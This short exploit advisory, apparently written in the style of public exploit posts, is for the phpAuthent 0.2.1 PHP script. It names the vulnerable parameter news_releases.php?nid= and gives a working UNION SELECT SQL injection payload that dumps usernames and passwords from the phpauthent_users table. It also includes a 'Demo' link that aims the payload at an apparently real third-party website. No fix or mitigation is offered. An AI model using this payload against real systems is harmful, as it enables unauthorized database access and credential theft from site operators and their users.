phpAuthent 0.2.1 SQL Injection Vulnerability ########################### Author : Gamoscu Homepage : http://www.1923turk.com Blog : http://gamoscu.wordpress.com/ Script : phpAuthent http://phpauth.sourceforge.net/ Download : http://phpauth.sourceforge.net/download.php ########################### [ Vulnerable File ] news_releases.php?nid= [ SQL ] [ XpL ] -1+union+select+1,2,3,username,password,6,7+from+phpauthent_users [ Demo] http://www.nok4444444444444444444444ers.com/news_releases.php?nid=-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users